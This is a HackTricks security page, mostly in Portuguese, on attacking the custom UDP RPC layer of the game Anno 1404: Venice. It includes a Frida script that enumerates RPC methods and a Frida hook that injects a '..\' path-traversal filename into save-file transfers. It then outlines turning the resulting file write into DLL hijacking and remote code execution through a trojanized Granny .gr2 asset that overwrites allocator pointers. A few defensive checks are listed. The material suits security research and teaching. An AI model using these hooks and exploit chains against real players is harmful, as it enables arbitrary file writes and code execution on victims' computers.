Enumeração personalizada de RPC UDP e abuso de transferência de arquivos
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Mapeando objetos RPC proprietários com Frida
Títulos multiplayer mais antigos frequentemente incorporam pilhas RPC caseiras sobre UDP. Em Anno 1404: Venice isso é implementado dentro de NetComEngine3.dll pelo despachante RMC_CallMessage, que analisa 5 campos de cada datagrama:
| Campo | Finalidade |
|---|---|
ID | verbo RPC (16 bits) |
Flags | modificadores de transporte (confiabilidade, ordenação) |
Source | ID do objeto do chamador |
TargetObject | instância de objeto remota |
Method | índice do método dentro da classe alvo |
Duas funções auxiliares – ClassToMethodName() e TargetName() – traduzem IDs brutos em strings legíveis para logging. Ao fazer brute-forcing de IDs de objeto de 24 bits e IDs de método de 16 bits e chamar essas funções auxiliares, podemos enumerar toda a superfície acessível remotamente sem capturas de tráfego ou symbol leaks.
Enumerador de superfície Frida (reduzido)
```javascript 'use strict';const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);
function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }
for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }
</details>
Ao executar `frida -l explore-surface.js Addon.exe` foi emitido o mapa RPC completo, incluindo o objeto `Player` (`0x7400000`) e seus verbs de transferência de arquivo `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData`, e `OnCancelSendFile`. O mesmo fluxo de trabalho se aplica a qualquer protocolo binário que exponha helpers de reflexão internos: interceptar o dispatcher, brute-force IDs, e registrar o que o engine já sabe sobre cada método invocável.
### Dicas
- Use os próprios buffers de logging do engine (`WString::Format` neste caso) para evitar reimplementar codificações de string não documentadas.
- Dumpe `Flags` para identificar recursos de confiabilidade (ACK, pedidos de reenvio) antes de tentar fuzzing; stacks UDP personalizados frequentemente descartam pacotes malformados silenciosamente.
- Armazene o mapa enumerado – ele serve como corpus para fuzzing e deixa óbvio quais objetos manipulam o sistema de arquivos, o estado do mundo ou o scripting dentro do jogo.
## Subvertendo RPCs de transferência de arquivo
A sincronização de saves multiplayer utilizava um handshake de dois pacotes:
1. `OnSendFileInit` — carrega o nome de arquivo UTF‑16 que o cliente deve usar ao salvar o payload recebido.
2. `OnSendFileData` — transmite o conteúdo bruto do arquivo em blocos de tamanho fixo.
Porque o servidor serializa o nome de arquivo via `ByteStreamWriteString()` imediatamente antes de enviar, um Frida hook pode trocar o ponteiro para um traversal payload enquanto mantém os tamanhos dos pacotes intactos.
<details>
<summary>Trocador de nome de arquivo</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
Os clientes vítimas não faziam nenhuma sanitização e escreviam o save recebido para qualquer caminho que o host hostil fornecesse, por exemplo caindo em C:\User\user em vez da árvore pretendida ...\Savegames\MPShare. Em instalações Windows de Anno 1404 o diretório do jogo é gravável por todos, por isso o traversal torna-se instantaneamente um primitivo de escrita arbitrária de ficheiro:
- Drop DLLs para classic search-order hijacking no próximo lançamento, ou
- Overwrite asset archives (RDA files) para que modelos, texturas ou scripts weaponizados sejam carregados ao vivo durante a mesma sessão.
Defending / attacking other targets
- Procure por verbos RPC chamados
SendFile,Upload,ShareSave, etc., e depois intercepte o helper de serialização responsável por filenames ou diretórios alvo. - Mesmo que filenames sejam verificados quanto ao comprimento, muitas stacks esquecem de canonicalizar
..\ou sequências mistas/vs\; brute-force todos os separadores. - Quando o receiver armazena ficheiros sob o game install path, verifique as ACLs via
icaclspara confirmar se um utilizador sem privilégios pode depositar código lá.
Turning path traversal into live asset execution
Uma vez que consegue upload arbitrary bytes, substitua qualquer asset carregado frequentemente:
- Unpack the archive. RDA archives are DEFLATE-based containers whose metadata is optionally XOR-obfuscated with
srand(0xA2C2A)seeded streams. Tools like RDAExplorer re-pack archives after edits. - Inject a malicious
.gr2. O ficheiro Granny 3D trojanizado transporta o exploit de relocação que sobrescreveSectionContentArraye, através de uma sequência de relocação em duas etapas, ganha uma escrita arbitrária de 4 bytes dentro degranny2.dll. - Hijack allocator callbacks. Com ASLR desativado e DEP off, substituir os ponteiros de função
malloc/freeemgranny2.dllredireciona a próxima alocação para o seu shellcode, dando RCE imediato sem esperar que a vítima reinicie o jogo.
Este padrão generaliza-se a qualquer título que faça streaming de assets estruturados a partir de arquivos binários: combine path traversal ao nível de RPC para entrega e processamento de relocação inseguro para execução de código.
Referências
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


